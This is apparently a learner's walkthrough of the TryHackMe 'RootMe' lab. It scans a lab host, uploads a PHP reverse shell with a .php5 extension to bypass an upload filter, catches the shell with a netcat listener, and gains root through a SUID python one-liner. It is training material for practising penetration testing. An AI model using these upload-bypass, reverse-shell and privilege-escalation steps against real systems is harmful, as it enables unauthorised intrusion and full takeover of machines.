RootMe
This a ctf challenge from tryhackme, im gonna explain here step by step
Introduction
Task 2Reconnaissance
Let’s scan the ports with nmap
We found 2 ports, and 2 service’s running, ssh & http
nmap -sCV
10.10.92.239
-sCV
- Scan for open ports
- identifies the services running on those ports.
- Executes default NSE scripts.
- Retrieves banners and configuration details
Let’s go to enumerate the server with
gobuster
gobusterdir -u “http://10.10.1.104/” -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txtgobuserCalls gobusterdir -u urlscans of directory and define the url-wPath to the wordlist/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txtits the wordlists that i choose
Reconnaissance answer
Task 3 Getting a shell
Find a form to upload and get a reverse shell, and find the flag. Let’s go to the target machine 10.10.1.104 Mine is this one, the Browser displays this 
Tryhackme says this
Search for "file upload bypass" and "PHP reverse shell".
And then let’s go to https://pentestmonkey.net/tools/web-shells/php-reverse-shell if you want download the file, or copy that. Now let’s edit the reverse-shell.php 
- $ip = ‘127.0.0.1’; // CHANGE THIS For the Attackbox, or ovpn
- $port = 1234; // CHANGE THIS whatever you want.
After that, try to upload the file, example shell.php and return this error
it’s because is not permit php (1), then let’s try to rename the file from shell.php to shell.php5 There is two way’s to change the name of the file, One is by the terminal typing this
1
mv shell.php shell.php5
With that now its works But I like tu use BurpSuite With burp suite we catch the request, and edit that. Note: You have to know basic knowledges of burpsuite to do this. Let’s catch the Request
After that we have to add a 5 at the end shell.php5 Have to be like this 
And then Click on Forward Like 3 times and the file will be upload. The browser shows this when the file was upload susccefull 
Now Let's Configure a Listener to get the reverse shell
1
nc -nlvp 4444
nccalls netcat
nAvoids netcat dns resolutionlPuts Netcat in listening mode, waiting for incoming connections.
vEnables Verbose modeMore details pSpecifies the port to listen on4444The chosen port number.
Now That we got a port listening & the file on the web site
Go to /uploads and click on shell.php5 
We got a reverse shell
1
2
3
4
5
6
7
8
Type this command, `find / -name "user.txt" 2>/dev/null`
that will return
path/to/user.txt
find: Command to search for files and directories in the filesystem.
/: Specifies the search starts from the root directory (/) and includes all subdirectories.
-name "user.txt": Searches for a file or directory named user.txt.
2>/dev/null: Redirects error messages to /dev/null, ignoring them (e.g., "Permission denied").
1
2
After you find the file user.txt, type
cat path/to/user.txt and you will get the flag
Task 4 Privilege Escalation
Now that we have a shell, let's escalate our privileges to root.
1 2 3 4 5 6 Tryhackme says this, Search for files with SUID permission, which file is weird? Then type this. find / -user root -perm /4000 find: Searches for files and directories. /: Starts the search from the root directory (/) and its subdirectories. -user root: Filters for files owned by the root user. -perm /4000: Searches for files with the SUID permission set (4000), allowing them to run
There is a lot of suid, but we found some important
1
/usr/bin/python
After we found the suid, go to https://gtfobins.github.io/ In the search type python And there is some options, but take this 
1
./python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
Now go to the terminal and use the command to escalate the privileges.
1 /usr/bin/./python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
As you can see I put a commmand
1 2 whoami This identified who you are in the terminal.| normal user or root
1
2
#!/bin/bash
echo "If there are any grammatical errors, sorry Im learning english :)







